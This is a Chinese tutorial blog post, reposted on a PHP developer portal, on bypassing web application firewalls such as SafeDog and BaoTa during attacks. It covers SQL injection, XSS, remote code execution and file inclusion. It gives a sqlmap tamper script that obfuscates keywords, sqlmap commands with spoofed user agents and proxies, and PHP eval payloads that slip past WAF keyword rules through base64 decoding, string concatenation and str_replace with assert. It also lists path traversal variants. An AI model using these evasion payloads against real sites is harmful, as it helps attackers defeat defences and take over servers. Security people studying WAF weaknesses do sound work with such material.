热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

WAF绕过漏洞利用——漏洞利用之注入上传跨站等绕过

目录前言:(一)SQL注入0x01sqlmap注入修改user-agent头:(二)文

目录

前言:

(一)SQL注入

0x01  sqlmap注入

修改user-agent头:

(二)文件上传

(三)XSS跨站

(四)RCE绕过waf

RCE代码:

1.输入echo 123; 并执行,成功输出

 2.但是当输入phpinfo();

 3.打开宝塔的日志

 4.可逆加解密

 5、宝塔拦截

 6、拼接绕过

7、str_replace函数替换变量中指定的字符串为空

 8、禁用assert绕过

 9、改变提交方式

(五)文件包含




前言:


        这里介绍常见的漏洞利用绕过的方法,方法有很多很多,一定要有自己的思想,就拿逻辑漏洞来说,AWVS、AppScan、Xray、Nessus、Sqlmap......这些自动化工具是扫描不出来的,加密编码绕过?算法可逆?关键字绕过?提交方法?各种测试?要学会尝试自己造轮子,本篇文章引入几种简单方式,希望打开大家思路


        之前简单总结过,感兴趣的点这里


(一)SQL注入




0x01  sqlmap注入


防cc拦截:修改user-agent头+代理(付费代理池)



修改user-agent头:


(1)加参数:--random-agent 

(2)加参数:--user-agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"(利用爬虫技术)

各大搜索引擎的User-Agent:https://www.jinyouxin.com/iack/p/3557371.html

(3)修改配置文件sqlmap.conf中的agent变量值

加代理:--proxy="http:tps123.kdlapi.com:15818"

绕过安全狗:自写tamper模块,参考如下waf-dog.py

绕过Aliyun:基本修改指纹即可(修改user-agent头)

绕过宝塔:匹配关键字外加/*等,我们可以通过%00进行截断.eg:%00/*!select ...*/


安全狗:参考之前 payload(现在不行了)

from lib.core.enums import PRIORITY__priority__ = PRIORITY.HIGHdef tamper(payload, **kwargs):retVal = ""if payload:payload = payload.replace("union", "%23a%0union")payload = payload.replace("select", "/*!44534select*/")payload = payload.replace("%20", "%23a%0a")payload = payload.replace("", "%23a%0a")payload = payload.replace("database()","database%23a%0a()")return payload

sqlmap.py 利用

python sqlmap.py -u "http://192.168.224.130/xscj/pikachu-master/vul/sqli/sqli_str.php?name=1%22&submit=%E6%9F%A5%E8%AF%A2" --random-agent --tamper=ridog.py


(二)文件上传




更改上传后缀名的格式(很多方法,具体在文件上传的笔记,这里就不多说了)


在这里插入图片描述

 文件上传漏洞__Cyber的博客-CSDN博客_常见的文件上传漏洞



(三)XSS跨站




利用 XSStrike工具进行测试
此时如果对方网站开启cc防护:
1.由于是工具,需要设置一个代理
2.设置延迟参数

XSStrike参数:


-h, --help //显示帮助信息
-u, --url //指定目标 URL
--data //POST 方式提交内容
-v, --verbose //详细输出
-f, --file //加载自定义 paload 字典
-t, --threads //定义线程数
-l, --level //爬行深度
-t, --encode //定义 payload 编码方式
--json //将 POST 数据视为 JSON
--path //测试 URL 路径组件
--seeds //从文件中测试、抓取 URL
--fuzzer //测试过滤器和 Web 应用程序防火墙。
--update //更新
--timeout //设置超时时间
--params //指定参数
--crawl //爬行
--proxy //使用代理
--blind //盲测试
--skip //跳过确认提示
--skip-dom //跳过 DOM 扫描
--headers //提供 HTTP 标头
-d, --delay //设置延迟

(四)RCE绕过waf




RCE代码:

接收post传入的参数,并且通过eval执行,如果没执行成功则输出字符串

当对方网站上存在RCE漏洞,但是开启了安全狗和宝塔时:


1.输入echo 123; 并执行,成功输出




 2.但是当输入phpinfo();



   此时,连接被重置了,此处是因为敏感字符被waf检测到了所以进行拦截

 被拦截了:


 3.打开宝塔的日志



        发现是被宝塔拦截了,因为post传入的参数被检测出来触发了它的过滤规则


 4.可逆加解密




        此时我们想到通过base64加密解密来绕过phpinfo(); 这个关键字,先把phpinfo();用base64加密,结果为cGhwaW5mbygpOw==,然后用php中的base64解密函数base64_decode()进行解密,所以在输入框内base64_decode(‘cGhwaW5mbygpOw==’);提交即可

        当post将字符串base64_decode(‘cGhwaW5mbygpOw==’);提交后,对方后台接收到post值,并通过eval将字符串当成php代码执行,就成功对加密后的phpinfo();进行了解密还原。



 5、宝塔拦截




        提交后发现又被拦截了,此时我们打开宝塔的日志看了一眼,又被匹配到了敏感参数,这次是base64_decode()(我感觉就算没有拦截的话,通过上面源码看,传入后也执行不了,会报语法错误)



 6、拼接绕过




        因为waf只是拦截关键字,我们用字符串将关键字拼接起来,waf就不会识别到,并且可以执行同样的功能。
 例子:
$a='php'.'info();';assert($a);
将php和info(); 拼接起来赋值给变量a,再通过assert对执行变量a

 



7、str_replace函数替换变量中指定的字符串为空



$y=str_replace('x','','pxhpxinxfo()');assert($y);

在这里插入图片描述


 8、禁用assert绕过




        上面的方法都有用到assert来执行phpinfo(); 如果assert也被过滤了呢?此时我们也可以用拼接字符串或者str_replace拆分来绕过关键字



 9、改变提交方式



当然可以通过$_REQUEST提交方式绕过

 总之方法又很多,值得去思考!


​​​​​​​(五)文件包含




以下几种:..\ ..../ ..\.\等

 



推荐阅读
  • 本文介绍了如何使用PHP向系统日历中添加事件的方法,通过使用PHP技术可以实现自动添加事件的功能,从而实现全局通知系统和迅速记录工具的自动化。同时还提到了系统exchange自带的日历具有同步感的特点,以及使用web技术实现自动添加事件的优势。 ... [详细]
  • GetWindowLong函数
    今天在看一个代码里头写了GetWindowLong(hwnd,0),我当时就有点费解,靠,上网搜索函数原型说明,死活找不到第 ... [详细]
  • 知识图谱——机器大脑中的知识库
    本文介绍了知识图谱在机器大脑中的应用,以及搜索引擎在知识图谱方面的发展。以谷歌知识图谱为例,说明了知识图谱的智能化特点。通过搜索引擎用户可以获取更加智能化的答案,如搜索关键词"Marie Curie",会得到居里夫人的详细信息以及与之相关的历史人物。知识图谱的出现引起了搜索引擎行业的变革,不仅美国的微软必应,中国的百度、搜狗等搜索引擎公司也纷纷推出了自己的知识图谱。 ... [详细]
  • 本文介绍了南邮ctf-web的writeup,包括签到题和md5 collision。在CTF比赛和渗透测试中,可以通过查看源代码、代码注释、页面隐藏元素、超链接和HTTP响应头部来寻找flag或提示信息。利用PHP弱类型,可以发现md5('QNKCDZO')='0e830400451993494058024219903391'和md5('240610708')='0e462097431906509019562988736854'。 ... [详细]
  • Monkey《大话移动——Android与iOS应用测试指南》的预购信息发布啦!
    Monkey《大话移动——Android与iOS应用测试指南》的预购信息已经发布,可以在京东和当当网进行预购。感谢几位大牛给出的书评,并呼吁大家的支持。明天京东的链接也将发布。 ... [详细]
  • 这是原文链接:sendingformdata许多情况下,我们使用表单发送数据到服务器。服务器处理数据并返回响应给用户。这看起来很简单,但是 ... [详细]
  • 本文介绍了数据库的存储结构及其重要性,强调了关系数据库范例中将逻辑存储与物理存储分开的必要性。通过逻辑结构和物理结构的分离,可以实现对物理存储的重新组织和数据库的迁移,而应用程序不会察觉到任何更改。文章还展示了Oracle数据库的逻辑结构和物理结构,并介绍了表空间的概念和作用。 ... [详细]
  • Windows下配置PHP5.6的方法及注意事项
    本文介绍了在Windows系统下配置PHP5.6的步骤及注意事项,包括下载PHP5.6、解压并配置IIS、添加模块映射、测试等。同时提供了一些常见问题的解决方法,如下载缺失的msvcr110.dll文件等。通过本文的指导,读者可以轻松地在Windows系统下配置PHP5.6,并解决一些常见的配置问题。 ... [详细]
  • Voicewo在线语音识别转换jQuery插件的特点和示例
    本文介绍了一款名为Voicewo的在线语音识别转换jQuery插件,该插件具有快速、架构、风格、扩展和兼容等特点,适合在互联网应用中使用。同时还提供了一个快速示例供开发人员参考。 ... [详细]
  • CF:3D City Model(小思维)问题解析和代码实现
    本文通过解析CF:3D City Model问题,介绍了问题的背景和要求,并给出了相应的代码实现。该问题涉及到在一个矩形的网格上建造城市的情景,每个网格单元可以作为建筑的基础,建筑由多个立方体叠加而成。文章详细讲解了问题的解决思路,并给出了相应的代码实现供读者参考。 ... [详细]
  • 如何实现织梦DedeCms全站伪静态
    本文介绍了如何通过修改织梦DedeCms源代码来实现全站伪静态,以提高管理和SEO效果。全站伪静态可以避免重复URL的问题,同时通过使用mod_rewrite伪静态模块和.htaccess正则表达式,可以更好地适应搜索引擎的需求。文章还提到了一些相关的技术和工具,如Ubuntu、qt编程、tomcat端口、爬虫、php request根目录等。 ... [详细]
  • Linux服务器密码过期策略、登录次数限制、私钥登录等配置方法
    本文介绍了在Linux服务器上进行密码过期策略、登录次数限制、私钥登录等配置的方法。通过修改配置文件中的参数,可以设置密码的有效期、最小间隔时间、最小长度,并在密码过期前进行提示。同时还介绍了如何进行公钥登录和修改默认账户用户名的操作。详细步骤和注意事项可参考本文内容。 ... [详细]
  • 本文介绍了C#中生成随机数的三种方法,并分析了其中存在的问题。首先介绍了使用Random类生成随机数的默认方法,但在高并发情况下可能会出现重复的情况。接着通过循环生成了一系列随机数,进一步突显了这个问题。文章指出,随机数生成在任何编程语言中都是必备的功能,但Random类生成的随机数并不可靠。最后,提出了需要寻找其他可靠的随机数生成方法的建议。 ... [详细]
  • Java容器中的compareto方法排序原理解析
    本文从源码解析Java容器中的compareto方法的排序原理,讲解了在使用数组存储数据时的限制以及存储效率的问题。同时提到了Redis的五大数据结构和list、set等知识点,回忆了作者大学时代的Java学习经历。文章以作者做的思维导图作为目录,展示了整个讲解过程。 ... [详细]
  • sklearn数据集库中的常用数据集类型介绍
    本文介绍了sklearn数据集库中常用的数据集类型,包括玩具数据集和样本生成器。其中详细介绍了波士顿房价数据集,包含了波士顿506处房屋的13种不同特征以及房屋价格,适用于回归任务。 ... [详细]
author-avatar
_流星_123
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有